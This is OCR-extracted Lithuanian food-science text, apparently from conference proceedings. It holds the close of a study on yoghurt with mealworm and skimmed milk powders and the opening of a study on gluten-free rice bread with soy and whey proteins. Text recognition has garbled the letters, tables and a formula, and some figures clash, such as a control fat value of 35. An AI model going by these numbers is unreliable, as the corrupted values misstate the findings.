centrifugavimo nupilamos issiskyrusios isrigos, pasveriamas likgs jogurtas ir
apskaiciuojamas isragy kiekis.

I = U—Tm) * 100proc.

| — isrtgy kiekis, proc.;
J — pradinis jogurto Kiekis, g;
m — likes jogurto kiekis po centrifugavimo, g.

Baltymy kiekio nustatymas (Lietuvos standartizacijos departamentas, 2014).

Visi jogurty tyrimai buvo atlikti 1-gja, 7-3jg, 14-ajg dienomis po gamybos.
Kiekvieno méginio matavimai kartojami tris kartus ir skai¢iuojama gauty verciy
vidutiné reik§mé.

Tyrimo rezultatai ir jy aptarimas

Sausyjy medziagy kiekio nustatymas. Tyrimy rezultatai pateikti 1 lenteléje.
Rezultatai parodé, kad pridéjus | jogurta baltyminiy priedy, sausyjy medziagy kiekis
didéjo nuo 11,99 proc. iki 15,92 proc. Lervy milteliai padidino sausyjy medziagy kiekj,
lyginant su pieno milteliais 1,49 proc.
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1 lentelé. Sausyjy medziagy kiekis jogurtuose, proc.

Jogurty méginiai Sausuyjuy medzZiagy kiekis, proc.
Kontrolinis 11,99
Jogurtas su 2 proc. lervy milteliais 13,70
Jogurtas su 3 proc. lervy milteliais 15,92
Jogurtas su 3 proc. lieso pieno milteliais 14,43

Riebaly kiekio nustatymas. Jogurto méginiy riebumo rezultatai pateikti
2 lenteléje. Vyravo tokios pacios tendencijos kaip ir sausyjy medziagy, nes didinant
pridedamy baltyminiy milteliy kiekj, did¢jo ir riebaly kiekis méginiuose. Daugiausia
padidéjo su 3 proc. lervy milteliy, kadangi Siuose milteliuose yra 29 proc. riebaly, kai
tuo tarpu lieso pieno milteliuose — 1,5 proc.

2 lentelé. Riebaly kiekis jogurtuose, proc.

Jogurty méginiai Riebumas proc.
Kontrolinis 35
Jogurtas su 2 proc. lervy milteliais 3,9
Jogurtas su 3 proc. lervy milteliais 4,1
Jogurtas su 3 proc. lieso pieno milteliais 3.7

pH nustatymas. pH rezultatai pateikti 1 paveiksle.

Pirmaja diena visy jogurty pH buvo labai panasus 4,64—4,7. 7 dieng matoma,
kad nepriklausomai nuo jdéty milteliy kiekio, pH islieka toks pat, i§skyrus kontrolinio
méginio — sumazéjo iki 4,52 pH. Tai rodo, kad laikymo metu jogurte, kuriame
maziausias sausyjy medziagy kiekis, geriausiai vyksta riigimo procesas ir pH mazéja.
Tuo tarpu méginyje, kuriame sausyjy medziagy kiekis didziausias (su 3 proc. lervy
milty) pH islieka nepakites.

14 dieng visy jogurty pH padidéjo: kontrolinio iki 4,57 pH, o jogurto su 3 proc.
lervy — iki 4,8 pH. Tai rodo, kad prasidéjo gedimo procesas. Tac¢iau méginys su lieso
pieno milteliais i§liko stabiliausias riigimo ir gedimo procesams.

4,9
4,8
4,7

6

4[

4,5
4,4
4,3

Kontrolé Sulieso Sulervy Sulervy
pieno milteliais milteliais
milteliais 2% 3%

pH

mld ®m7d. m14d.

1 pav. Jogurty pH kitimas laikymo metu
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Baltymy kiekio nustatymas. Jogurto méginiuose pridedant priedus siekta
padidinti baltymy kiekj galutiniame produkte. Baltymy kiekio rezultatai pateikti 3 lenteléje.

3 lentele. Baltymy kiekis jogurtuose, proc.

Jogurty méginiai Baltymy kiekis proc.
Kontrolinis 3,20
Jogurtas su 2 proc. lervy milteliais 4,53
Jogurtas su 3 proc. lervy milteliais 4,97
Jogurtas su 3 proc. lieso pieno milteliais 4,30

IS rezultaty galima matyti, kad kontroliniame jogurte baltymy kiekis 3,2 proc.
Jogurtas su lieso pieno milteliais turéjo 4,3 proc. baltymy, o pridedant lervy milteliy,
baltymy kiekis jogurte padidéja iki 4,97 proc.

Klampos nustatymas. Vienas svarbiausiy jogurty tekstiros parametry yra
klampa. Jogurty klampumas priklauso nuo miceliy tarpusavio rysio ir pieno baltymy
tarpusavio sgveikos. Klampos rezultatai jogurty laikymo metu pateikti 2, 3 ir 4
paveiksluose.

Pradiné jogurty klampa skyrési priklausomai nuo jdéto priedo: tviréiausi buvo
jogurtai su lieso pieno milteliais 2306 cP, o silpniausi — su 3 proc. lervy 554 cP (2 pav).
Labai panasiis rezultatai buvo gauti sojy baltymy ir lervy milty méginiuose, kai
pridedant lervy milty geliy klampa mazéjo (Oh ir Kim, 2024). Taip yra todél, kad lervy
miltai trukdo susidaryti pieno baltymy geliui, t.y. formuoti tinkla. Lervy milty baltymy
molekulés yra mazos ir jsiskverbe tarp kazeino molekuliy suardo amidines jungtis, tokiu
biidu trukdydamos baltymy tarpusavio saveika.

3 paveiksle matoma, kad laikymo trukmé kontrolinio ir jogurto su lieso pieno
milteliais klampai jtakos neturi — klampa i$liko praktiskai nepakitusi (kontrolinis 1 d.
1826,31 cP ir po 14 d. 1702,58 cP, jogurto su lieso pieno milteliais 1 d. 2306,6 cP ir po
14 d. 2307,06 cP). Rezultatai atitinka Hassan ir kt. (2015) tyrimus, kai baltymy miceliy
rySiai nesikeiCia ir susidariusi baltymy matrica iki 15 dienos nekinta, nesikeiciant
jogurto klampai.

Tuo tarpu jogurto su 3 proc. lervy milteliy klampa laikymo metu mazéjo: 1 d.
493,93 cP, 0 po 14 d. 267,75 cP (4 pav.). Tokia pati tendencija buvo gauta ir su 2 proc.
lervy: 1d. 1020,87 cP, 0 po 14 d. 651,19 cP. Gauti rezutatai patvirtina, kad jogurto gelis
yra silpnas ir laikymo metu rySiai tarp baltymy rtigs¢ioje terpéje vis silpnéja.
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4 pav. Jogurto su 3 proc. lervy milty klampa laikymo metu.

ISriigy kiekio nustatymas. Jogurta laikant iSsiskiria dalis iSriigy, kurios
nulemia jogurto kokybe. Atlikus tyrimus nustatyta, kad kontroliniame méginyje 1 d.
i8siskyre 37,84 proc. isrugy, o 14 d. — 35,54 proc. Jogurte su lieso pieno milteliais 1 d.
i8siskyré 36,63 proc., 0 po 14 d. 33,72 proc. i$rigy. Galima teigti, kad laikymo metu
abiejuose jogurtuose iSriigy kiekis nezymiai mazéjo. Nors laikymo metu kontrolinio
jogurto pH mazéjo, tadiau, tai neturéjo didelés reikSmés baltymy pokyéiams, dél kuriy
iSriigy kiekis didéty. O jogurto su lieso pieno milteliais pH ir isrtigy kiekis kito
nezymiai. Gauti rezultatai sutampa su jogurty klampos rezultatais ir patvirtina baltymy
matricos tvirtuma.

Jogurtuose su 2 proc. ir 3 proc. lervy milteliais i$siskyres i$rugy kiekis buvo
didesnis, lyginant su kontroliniu ir pieno milteliy méginiais: 1 d. — 43,3 proc., 0 po
14 d.— 45,8 proc., su 3 proc. lervy milteliy — 1 d. i8rigy buvo 47,23 proc., 0 po 14 d. —
49,6 proc.. Gauti rezultatai sutampa su klampos tyrimais, kurie parodé silpna baltymy
saveika (5 pav.).
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ISvados

1. Jogurto su lieso pieno milteliais pH laikymo metu nekito 4,65-4,64. Panasus
rezultatai gauti su isrtigy kiekiu — jogurto su lieso pieno milteliais i$siskyres isriigy Kiekis
buvo maziausias — 35,63-33,72 proc. Taciau jogurtuose su lervy miltais iSriigy iSsiskyré
daugiausia (47,23-49,2 proc.), nes baltymy gelio matrica yra silpniausia dél lervy
baltymy. Méginiy su lieso pieno milteliais klampa laikymo metu nekito (1 d. 2306,6 cP ir
po 14 d. 2307,06 cP). Tadiau jogurto su 3 proc. lervy miltais klampa laikymo metu mazéjo,
priklausomai nuo jdéto kiekio — su 2 proc. lervy sumazgjo 67,78 proc., su 3 proc. lervy —
54,2 proc.

2. Didinant pridedamy lieso pieno ir lervy milteliy kiekj, jogurtuose didéjo
baltymy, riebaly ir sausyjy medziagy kiekis. Didziausias kiekis nustatytas jogurtuose su 3
proc. lervy milteliy: baltymy 4,97 proc., riebaly 4,1 proc. ir sausyjy medziagy 15,92 proc.
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Summary

The aim of this article was to evaluate the influence of mealworm and skimmed milk powders on
the rheological and technological properties of yoghurt. The objectives were: to determine the
protein, solids and fat content of yoghurt, evaluate pH levels, whey release and viscosity variation
during storage. The results showed that the pH of yoghurt with skimmed milk powder were
practically unchanged (4.65-4.64). The lowest content of syneresis was found in yoghurt with
skimmed milk powder (35.63proc. - 33.72proc.). Opposite results were observed in yoghurt with
mealworm powder (47.23proc. - 49.2proc.). The viscosity of samples with skimmed milk powder
did not change during storage (2306.6 cP on 1 one and 2307.06 cP on day 14). However, the
viscosity of yoghurt with 3proc. mealworm powder significantly decreased during storage,
depending on the added amount of powder: yoghurt with 2proc. added mealworm powder
decreased 67.78proc., and yoghurt with 3proc. added mealworm powder — 54.2proc.. Increasing
the amount of skimmed milk and mealworm powder increased protein, fat and dry matter content
in all yoghurt samples.

Keywords: skimmed milk powder, mealworm powder, yoghurt, viscosity, acidity.
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RyZiy duonos maistinés vertés padidinimas sojos

ir pieno iSriigy baltymy priedais

Lukas Suopys, Svajiné Garmuviené
Kauno kolegija

Anotacija. Baltymai — bitini raumeny masei ir jégai palaikyti, ypa¢ vyresnio
amziaus zmonéms, sportininky fizinei formai pagerinti, taip pat sveikam vaiky augimui
skatinti. Sis tyrimas atliktas sickiant padidinti baltymy kiekj beglitiméje ryziy duonoje,
kuri biity tinkama glitimo netoleruojan¢iy ar dél jvairiy priezas¢iy jo nevartojanciy, ar
celiakija serganCiy sportuojanciy asmeny mitybai. Tyrimo metu jvertinti beglitimés
duonos su padidintu baltymy kiekiu kokybés rodikliai ir juslinés savybés. Tyrimai atlikti
su ryziy duonomis: be priedy, su skirtingu kiekiu (5, 10, 15 proc.) sojy baltymy izoliato
(SBI) priedu ir ryziy miltus keiciant skirtingu kiekiu (5, 10, 15 proc.) pieno isriigy baltymy
koncentratu (PIBK). Ryziy duonos tekstirai ir kepiniy formos i$laikymo rodikliui
pagerinti naudota 5 proc. balk$vojo gysloc¢io luobeliy. Rezultatai parodé, kad ryziy duona
su didesniu nei 5 proc. SBI kiekiu, turéjo neigiama poveikj juslinéms savybéms, ji
i8siskyré nepatraukliu poskoniu. SBI priedas lyginant su kontrole blogino kokybés
rodiklius, taciau padidino baltymy kiekj. Nustatyta, kad duonos su 15 proc. PIBK
iSlaikomos tinkamos juslinés savybés ir pagerinamas duonos savitasis tiiris, akytumas,
baltymy kiekis. Todél beglitimés ryziy duonos gamyboje rekomenduojama nevirSyti
5 proc. SBI priedo kiekio ir iki 15 proc. PIBK priedu galima pakeisti ryziy miltus.

Raktiniai ZodZiai: beglitimé duona, ryziy miltai, balk§vojo gyslocio luobelés,
sojos baltymy izoliatas, pieno iSriigy baltymy koncentratas.

Ivadas

Daugéja Zmoniy, kurie netoleruoja glitimo, netirpiy baltymy esanciy kvieciy,
rugiy, mieziy ir avizy sudétyje. Vartotojams gali pasireiksti jvairiis sveikatos sutrikimai,
pavyzdziui, celiakija, neceliakinis jautrumas glitimui, alergija kvie¢iams arba dirgliosios
zarnos sindromas (Biesiekierski, Iven, 2015). Melini ir kt. (2017) teigimu komerciniuose
duonos be glitimo miSiniuose daugiausia yra angliavandeniy, jskaitant greitai vir§kinama
krakmola, kuris gerokai padidina tokiy gaminiy glikeminio indekso reik§me. Tokie
duonos misiniai nepasizymi ir dideliu baltymy, aminortigs¢iy kiekiu (Naqash ir kt., 2017).
Baltymai yra bitini raumeny masei ir jégai palaikyti, ypa¢ vyresnio amziaus zmonéms
(Song, Perez-Cueto, 2018), sportininky fizinei formai palaikyti (Jager ir kt., 2017), taip
pat sveikam vaiky augimui skatinti (Karagounis, Volterman, 2018) ir kauly sveikumui
palaikyti visais gyvenimo tarpsniais (Wallace, Frankenfeld, 2017).

Tyrimo aktualumas ir problema. Siuo tyrimu siekiama sukurti daug baltymy
turin¢ig duong, galinCig padéti baltymy sintezei, kad bty iSvengta skeleto raumeny
masés mazéjimo ir pagerinta sportininky raumeny reakcija j treniruotes. Nors kvietiné
duona paprastai vartojama pusryciams, joje yra glitimo, kuris gali sukelti virSkinimo
trakto diskomforta. Zonulinas yra fiziologinis Zarnyno sandariyjy jungciy
moduliatorius, dél kurio atsiranda zarnyno nesandarumas. Gliadinas, kvieciy glitimo
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baltyminé sudedamoji dalis, aktyvuoja zonulino signalizacija, todél padidéja Zarnyno
pralaidumas makromolekuléms (Sturgeon ir kt., 2017). Norint i§vengti $iy negalavimy
reikia surasti kvietinei duonai, turin¢iai glitimo, beglitimes alternatyvas.

Tyrimo objektas — beglitimé ryZiy duona su sojos baltymy izoliato ir pieno
iSriigy baltymy koncentrato priedais.

Tyrimo tikslas — jvertinti sojos baltymy izoliato ir pieno iSriigy baltymy
koncentrato jtaka beglitimés duonos kokybei ir juslinéms savybéms.

Tyrimo uZdaviniai:

1. Atlikti bandomuosius kepimus su skirtingais sojos izoliato ir pieno iSrigy
koncentrato baltymy kiekiais ir nustatyti ryziy duonos kokybés rodiklius bei tinkamumo
vartoti terming.

2. Ivertinti beglitimés duonos su padidintu baltymy kiekiu juslines savybes ir
priimtinuma vartotojams.

Teoriné dalis

Siandien duona be glitimo tapo populiari ne tik celiakija sergantiems
pacientams, kuriems reikia grieztos dietos be glitimo, bet ir kitiems vartotojams, kurie
rupinasi sveikata ir nevartoja produkty su kvieéiais (Aprodu ir kt., 2016). Celiakija —
1étiné enteropatija, kurig sukelia glitimo baltymai, gaunami i§ placiai paplitusiy maisto
Saltiniy, tokiy kaip kvie¢iai, rugiai, mieZiai ir aviZos. Si liga yra susijusi su plonosios
zarnos uzdegimu, dél kurio gali sutrikti keliy svarbiy maistiniy medziagy jsisavinimas
ir gali biiti pazeista zarnyno gleiviné. Vienintelis veiksmingas celiakijos gydymas —
grieztas dietos be glitimo laikymasis visg paciento gyvenimg (Shan ir kt.,2002).

Dazniausiai kvietiniy milty pakaitalai, duonos be glitimo gamybai yra ryziai ir
(arba) kukurtizy miltai kartu su jvairios kilmés krakmolu (pvz., bulviy, kukurtzy,
manioky). Sios Zaliavos labiausiai paplite ir pigiausios. Ryziy miltai §velnaus skonio,
bespalviai, turi mazg natrio kiekj, lengvai vir§kinamus angliavandenius ir mazai
hipoalerginiy savybiy (Gujral, Rosell, 2004). Nepaisant to, ryziy miltai negali sukurti
tinklo, kurio savybés biity panasios j glitimo, dél savito baltymy santykio skirtingo nei
kvieCiuose. Pasak mokslininky ryziy tesla neturi viskoelastiniy savybiy ir atrodo kaip
skysta tesla, be struktiiros, todél ryZziy duonos kokybé nepriimtina, pvz., mazas tiris
(Masure ir kt., 2016). Ryziy milty te§la yra trapi, maziau elastinga ir linkusi praskysti,
todél, norint jveikti Siuos defektus, kiti ingredientai, tokie kaip hidrokoloidai,
emulsikliai, krakmolas, kity gridy ar pupiniy kultiiry miltai, turi biiti kombinuojami su
ryziy miltais (Srikanlaya ir kt., 2018).

Balksvasis gyslotis — nattiralus produktas, pasizymintis didele vandens
absorbcijos geba ir kartu su krakmolingomis medziagomis turintis panasy poveikj kaip
ksantano derva (Belorio, Gomez, 2020). Gyslo¢io derva yra hidrokoloidas, randamas
Plantago ovata sékly luobeléje. Indija — pagrindiné $iy sékly gamintoja, tadiau jy
gamyba svarbi ir Pakistane bei Irane. Psyllium luobele daugiausia sudaro skaidulos,
ypaé arabinoksilanai. Gyslo¢io sudéties, funkcionalumo ir galimo panaudojimo
aspektus galima rasti Belorio ir Gomez apzvalgoje (2021). Balk§vojo gyslocio luobeliy
teigiamas vartojimo poveikis sveikatai yra placiai iStirtas ir apima viduriy uzkietéjimo,
viduriavimo, dirgliosios Zarnos sindromo, opinio kolito, storosios Zarnos vézio, diabeto
ir hipercholesterolemijos prevencija (Franco ir kt., 2020). Balksvasis gyslotis
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naudojamas duonos be glitimo gamyboje kaip glitimo pakaitalas (Filipcev, 2021).
Mokslininkai iStyré, kad pridéjus Psyllium taip pat sumazéja duonos kaloringumas dél
padidéjusio drégmés ir skaiduliniy medziagy kiekio. Be to, pridéjus iki 5 proc. gyslocio
akivaizdziai pageréja visy grido daliy duonos priimtinumas (Belorio, Gomez, 2020).

Glitimo neturintys miSiniai daugiausia susideda i§ angliavandeniy, bet
nepasizymi dideliu baltymy kiekiu, kuris ne tik turi jtakos reikiamam dienos raciono
baltymy kiekiui, bet ir daro didelg jtaka duonos struktirai ir kokybei (Skendi ir kt., 2021).
Be to, tinkamas baltymy suvartojimas i§lieka butinas, siekiant uzkirsti kelig sarkopenijos
(raumeny masés mazéjimas senstant) vystymuisi, ir, atsizvelgiant j tendencija, kad
vyresnio amziaus zmonés mazina maisto suvartojima, todél sunku uztikrinti tinkama
baltymy kiekj. Daug nepakei¢iamy aminorfig§¢iy (BCAA) turintys pusryéiai efektyviau
skatina raumeny hipertrofija nei tolygus baltymy suvartojimo paskirstymas per dieng ar
didesnis suvartojimas vakarienés metu. Taciau pastebima tendencija, kad Zmonés per
pusry¢ius suvartoja maziau baltymy (Ishikawa-Takata, 2018).

Mokslininkai bandé pagerinti duonos be glitimo kokybe ir maistine vertg,
padidindami baltymy kiekj, naudodami tinkamus baltymy koncentratus ar izoliatus,
gautus i§ mikroorganizmy, gyviny ir augaly. Pagal Akharume ir kt. (2021) baltymy
ingredientai prekyboje skirstomi j tris kategorijas: baltymy miltai, baltymy koncentratai
ir baltymy izoliatai, kuriuose yra, atitinkamai, 10-20 proc., 55-60 proc. ir daugiau kaip
80 proc. baltymy. Gorissen ir kt. (2018) stebéjo baltymy kiekj ir aminorig§¢iy sudétj
kai kuriuose augaliniy baltymy izoliatuose, tokiuose kaip avizos, lubinai, kvieéiai,
kanapés, mikrodumbliai, sojos, rudieji ryziai, zirniai, kukurtizai, bulvés, pienas, iSriigos,
kazeinas, kiauSinis. Jie pastebéjo, kad augaliniy baltymy izoliaty nepakeiciamyjy
aminortgsciy kiekis buvo mazesnis nei gyviininiy baltymy. Be to, aminortigsciy profilis
skiriasi, metioninas ir lizinas yra dazniau randamas gyvininiuose baltymuose.

Mokslinés studijos parodé sojos baltymy izoliato (SBI) poveikj duonos kokybei,
ivesdami $iuos baltymus j duonos receptiiras arba jais pakeisdami tik dalj kvietiniy milty
(Kristiawan, 2018). Maistiniu poZiiiriu sojose yra visaverciy, aukstos kokybés baltymy,
kuriy sudétyje yra nepakei¢iamy aminortig§éiy, turinCiy daug BCAA (sudaranéiy apie
20 proc. nepakeic¢iamy aminortig§¢iy virtose sojos pupelése esanciy baltymy) ir mazdaug
7 proc. lizino. Be to, vyraujantis sojos baltymas, glicininas, turi seka, panasia j ubikvitino
ligazés CbI-b inhibitoriaus peptido seka, todél jis slopina Cbl-b sukeltg skeleto raumeny
atrofijg in vitro ir in vivo (Nikawa, 2020). Pageidautinos SBI funkcinés savybés:
emulsavimas, riebaly sugérimas, drégmés sulaikymas, tirStinimas ir puty formavimas.
Taip pat SBI pasizymi didele vandens suriSimo geba. MaiSymo metu §is izoliatas greitai
sulaiko vandenj, todél pageréja teSlos elastingumas (Crockett ir kt., 2011). Taigi sojos
baltymai kepimo metu islaiko vandens kiekj duonoje, taip prailgindami duonos §viezuma,
kartu pagerindami teslos kokybeg ir plutos spalva (Crockett ir kt., 2011).

Pieno baltymai — vertingi komponentai, dél jy mitybos, technologiniy ir
funkciniy savybiy, atsirandanciy dél juose esanciy aminortigs¢iy sudéties. Jie uztikrina
gera tirpumg, absorbcijg ir vandens bei riebaly sulaikyma, taip pat emulsavimo ir
putojimo pajéguma, stabilumg ir gelio sudarymg. Pienas pagerina juslines savybes ir
produkto priimtinuma (Aratjo ir kt., 2016). | teSla jdéjus pieno iSrugy baltymy
koncentrato (PIBK), gauta pageidautina beglitimés ryziy duonos plutos iSvaizda dél
padidéjusios Majaro reakcijos. Be to, pageréja duonos be glitimo tekstiira ir skonis
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(Crockett ir kt., 2011). Pieno ingredientai yra pla¢iai naudojami kepimo pramonéje dél
ju maistiniy ir jusliniy savybiy. Gani ir kt. (2015a) atliktas tyrimas rodo, kad baltymy
pridéjimas prie sausainiy pagerina pastaryjy maisting verte, taip pat turi didele teigiama
itaka juslinéms savybéms ir kokybei. Tie patys autoriai (Gani ir kt., 2015b) istyré, kad
1 gridy duong jdéjus 10—15 proc. baltymy, pageréja teslos savybés ir tai neturi drastisko
poveikio fizinéms ir juslinéms duonos savybéms.

Tyrimy metodika. Bandomieji beglitimés ryziy milty duonos su s0jos
baltymy izoliato ir pieno iSrigy baltymy koncentrato priedais kepimai atlikti Kauno
kolegijos duonos laboratorijoje. Kepiniy kokybés rodikliai nustatyti po kepimo praéjus
24 h. Duonos su ir be baltymy priedy receptiiros pateiktos 1 lenteléje.

Tyrimams naudoti ryziy miltai (gamintojas — ,,NATURALISMO*), balk§vojo
gyslocio luobelés (pardavéjas — ,,Sveiki produktai®), pieno iSriigy baltymy koncentratas
(gamintojas — ,,My Protein‘), sojos baltymy izoliatas (gamintojas — ,,My Protein®).

1 lentelé. Ryziy duonos su baltymy priedais receptiiros

Méginio pavadinimas
K PIBKS5 | PIBK10 | PIBK 15| SBI5 ‘ SBI110 ‘SBIlS
Ryziy miltai 100 95 90 85 100
Mielés 1,6
Sviestas 20

Cukrus
Balk§vojo gyslocio
s¢kly luobelés

Zaliavos, proc.

~N| o1 | ©

Obuoliy sidro actas
Druska 1
'Vanduo Pagal paskaitiavima

Pieno baltymy
koncentratas
Sojos baltymy
izoliatas

- 5 10 15 - - -

- - - - 5 10 15

K — kontroleé, PIBK 5, PIBK 10, PIBK 15 — méginiai, kuriuose ryziy miltai pakeisti pieno isrigy baltymy
koncentratu, atitinkamai 5, 10, 15 proc. SBI 5, SBI 10, SBI 15 — méginiai, j kuriuos pridéta sojos baltymy
izoliato, atitinkamai 5, 10, 15 proc.

Bandomyjy kepiniy ruo$imas. Sudedamos sausos medziagos, aktyvuojamos
mielés, teSla maiSoma rankomis. MaiSymo pabaigoje dedamas sviestas, kad iki tol
tolygiai pasiskirstyty mielés. Suformuoti pusgaminiai dedami j foling forma (dydis
450 ml, 14,5 x 12 x 4 cm), kildinami 120 min 35 °C temperataroje (85 proc. santykiné
oro dréegmé) kildinimo spintoje (kildinimo spinta Chef 200, Metos, Estija). Kepama
konvekcinéje krosnyje (Chef 240; Metos, Estija) 30 min 200 °C temperatiroje be
vandens gary funkcijos. Gatavi atvésinti kepiniai iki tyrimo laikomi kambario
temperatiiroje (20 °C). Vandens kiekis kontrolinés duonos ir su sojos baltymy izoliatu
yra vienodas. Duonai su pieno i$riigy baltymais vandens kiekis sumaZinamas 25 proc.
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Duonos su augaliniais baltymais receptiiroje reikia naudoti daugiau vandens nei su
gyvuliniais baltymais, kad biity gautos didziausios savitojo turio vertés (Sahagun,
2018). Toliau apraSomi kepiniy kokybés rodikliy standartiniai vertinimo metodai.

Drégmeés kiekio nustatymas. Ryziy duonai drégmés kiekis nustatomas pagal
LST 1492:2013 (Lietuvos standartizacijos departamentas, 2013). Po 5 g duonos
méginiy dedama | paruoStus biuksus ir dziovinama dziovinimo spintoje 105 °C
temperattiroje periodiskai pasveriant, kol méginio masé nekinta (£ 2 mg). I8dziovinti ir
atvésinti méginiai pasveriami 1 mg tikslumu.

Riugstingumo nustatymas. Duonos riigStingumas nustatomas pagal LST
1553:1998 (Lietuvos standartizacijos departamentas, 1998). 25 g méginys sumaiSomas
su 250 ml vandens, po 30 min miSinys filtruojamas. 50 ml filtratas titruojamas su natrio
druskos tirpalu iki gelsvos spalvos, indikatorius bromtimolio mélynasis.

Kepiniy formos iSlaikymo rodiklio (H/D) nustatymas. Perpjauto per puse
iSilgai kepinio pamatuojamas aukstis bei plotis milimetry tikslumu. ISreiskiamas H/D
santykis (Margarit, 2021).

Tiirio, tankio ir savitojo tiirio nustatymas. Tiriamas méginys i§stumia savo
tirj atitinkantj sory kruopy kiekj, kuris iSmatuojamas matavimo cilindru (cm?®)
(American Association of Cereal Chemists, 2000). Paskaiciuojamas savitasis tiris, kaip
santykis tiirio ir svorio (cm®g). Taip pat paskai¢iuojamas tankis, kaip svorio ir tiirio
santykis (g/cm?®) (Barros ir kt., 2018).

Akytumo nustatymas. Beglitimés duonos akytumas nustatomas Zuravliovo
metodu ir iSreiSkiamas mink$timo tdrio proc. pagal LST 1442:1996 (Lietuvos
standartizacijos departamentas, 1996).

Baltymy kiekis. Duonai baltymy kiekis nustatomas pagal LST EN ISO 8968-
1:2014, LST EN 12135:2001 ir LST ISO 937:2000. Kaitinamas 2 g duonos méginys su
koncentruota sieros riigstimi, baltyminés medziagos oksiduojasi iki galutiniy skilimo
produkty (H20, CO; ir NH3). I$skirtas amoniakas suriSamas riig§timis, po to titruojant
nustatomas azoto kiekis, kuris dauginamas i$ atitinkamo koeficiento ir apskai¢iuojamas
bendras baltymy kiekis (Koscelkovskien¢, Pupeliené 2017).

Kaloringumo nustatymas. Naudojamas jrenginys energinés vertés
nustatymui — IKA C2000 basic, pagal gamintojo nurodytas specifikacijas. 0,2 g méginys
dedamas | degimo maiSelj ir tiglj, paruoSiama jranga, indas su adapteriu statomas ]
energine verte matuojantj jrenginj, dozavimo talpa uzpildoma 2 1 vandens ir atliekami
matavimai. Energinés vertés rezultatai rodomi ekrane, jie perskai¢iuojami i§ J/g |
kcal/100 g (Innovative Laboratory Equipment, n.d.).

Vertinimas vizualiai. Duonos i§vaizda (minkstimo ir plutos spalva, akuciy
dydis ir pasiskirstymo tolygumas perpjovus duong) jvertinama apZilirint gaminj
vizualiai. Duonos galiojimo terminas nustatomas laikant kepinius kambario
temperatiroje (20 °C) ir kas 24 h apzitirint dél peléjimo pozymiy.

Jusliné analizé. Duonos juslinés savybés vertintos naudojant jusliniy savybiy
profilio testa, pagal LST 777ISO 6658 (2017) (Lietuvos standartizacijos departamentas,
2017). Tyrimo metu dalyvavo 12 vertintojy, kuriy amzius svyravo nuo 19 iki 60 mety
amziaus. Skonio receptoriams atgauti naudojamas stalo vanduo. Nustatomas kvapas —
uostant nosimi (acto ir baltymy priedo), skonis — vertinama valgant burnoje (kartumas,
iSlickamasis skonis, bendras skonio priimtinumas, priedo skonis, acto skonis),
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tekstlira — lieCiant rankomis (drégnumas, akytumas, elastingumas, trapumas ir
kietumas). Jusliniy savybiy intensyvumui vertinti taikyta 5 baly skalé (5 — labai gerai,
4 —gerai, 3 — nei blogai, nei gerai, 2 — blogai, 1 — labai blogai). Taip pat buvo vertinamas
bendras duonos priimtinumas. Vertintas 100 baly linijinéje diagramoje (0 labai
nepatinka — 50 nei patinka, nei nepatinka — 100 labai patinka).

Statistiné analizé. Tyrimy duomeny matematiné statistiné analizé atlikta
naudojant MS Excel programinj paketg. Tyrimai kartoti 3 kartus. Apskaiiuoti aritmetiniai
vidurkiai, matavimo paklaidos, standartiniai nuokrypiai, statistiSkai reikSminga, kai
tikimybés lygmuo p<0,05. Rezultatai isreiskiami kaip vidurkis * standartinis nuokrypis.

Tyrimy rezultatai ir ju aptarimas

Miltai naudoti beglitimei duonai yra pagaminti i§ ryziy, kuriuose néra glitimo,
todeél ir néra glitimo tinklo, kuris suteikia duonai elastinguma ir padeda palaikyti forma
kepimo metu. Siai problemai spresti naudojamos balkivojo gyslogio luobelés, sickiant
suriSti miltus ir kitas Zaliavas, kad biity i§laikoma forma kepimo metu. Ryziy miltai sudaro
duonos pagrinda, taciau jie nepasizymi didele maistine verte baltymy atzvilgiu, todél
duona papildoma SBI ir PIBK priedais, kurie yra i$gryninti baltymy milteliai i§ sojy bei
pieno iSriigy. Koncentratas yra maziau iSgrynintas, todél izoliatas visuomet turés daugiau
baltymy, bet koncentratas pasizymi didesniu angliavandeniy ir riebaly kiekiu.

Atlikus bandomuosius kepimus istirti duonos kokybés rodikliai, ji jvertinta
vizualiai ir rezultatai pateikti 2 lenteléje ir 3, 4, 5 paveiksluose.

2 lentelé. Kokybiniai rodikliai

Kep_in_iq ] Nuostoliai, Dl:i‘;gkli‘:s H/D Svoris, g Tiris, em? Tankis, Ve_rtini[ngs
pavadinimai proc. proc. g/cm3 vizualiai
Kontrolé 12,4+001 | 30,0£150 | 053:0,04 | 281%0,02 | 4504550 | 0,62+0,02 fool;ogsi;g‘“'k"’s'
PIBK 5 1412002 | 30,0£150 | 055:0,03 | 2774002 | 475x4,75 | 0,58+0,04 fgi;‘;g:‘“'k'os'
Poros stambios,
PIBK 10 14,0+0,02 30,3+1,51 0,57+0,06 280+0,02 490+4,90 0,57+0,03 pavieneés,
netolygios
Poros stambios,
PIBK 15 15,9+0,02 31,0+1,59 0,60+0,06 270+0,02 52045,20 0,52+0,04 pavieneés,
netolygios
Poros tankios,
SBI 5 12,9+0,02 30,0+1,50 0,48+0,02 276+0,02 350+3,50 0,79+0,03 smulkios,
tolygios
Poros tankios,
SBI 10 13,9+0,02 30,0+1,50 0,47+0,03 285+0,02 340+3,40 0,85+0,05 smulkios,
tolygios
Poros tankios,
SBI 15 16,0+0,02 29,8+1,49 0,44+0,02 290+0,02 300+3,00 0,95+0,03 smulkios,
netolygios

2 lenteléje pateikti rezultatai rodo, kad baltymy priedai didino duonos
nukepima. Didziausi nuostoliai kepiniuose su didziausiais kiekiais priedo PIBK 15 ir
SBI 15, atitinkamai, 15,9 ir 16,0 proc. Kepiniy su baltymy priedais nukepimas nuo 4 iki
29 proc. didesnis nei kontrolés. Visuose méginiuose nustatytas panasus drégmés kiekis,
lyginant su kontrole. Bourasa ir kt. (2021) nustaté, kad drégmé mazéja didinant PIBK
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kiekj, dél labai dehidratuoty baltymy milteliy. Pieno iSriigy baltymy koncentratas turéjo
teigiamos jtakos kepiniy formos ilaikymo santykiui, o sojos baltymy izoliatas —
neigiamos. Didziausias H/D santykis nustatytas PIBK 15 duonoje, 13,2 proc. didesnis
nei kontrolinio. Maziausias kepiniy formos islaikymo santykis nustatytas SBI 15
duonoje, 17 proc. maziau nei kontrolinio. Sojos ir pieno i§riigy baltymai turéjo skirtinga
jitaka duonos thriui ir tankiui. IStirta, kad pridéjus PIBK 15 arba SBI 15 j duona,
atitinkamai, tankis sumazéjo 16,1 proc. arba padidéjo 53,2 proc., lyginant su kontrole.
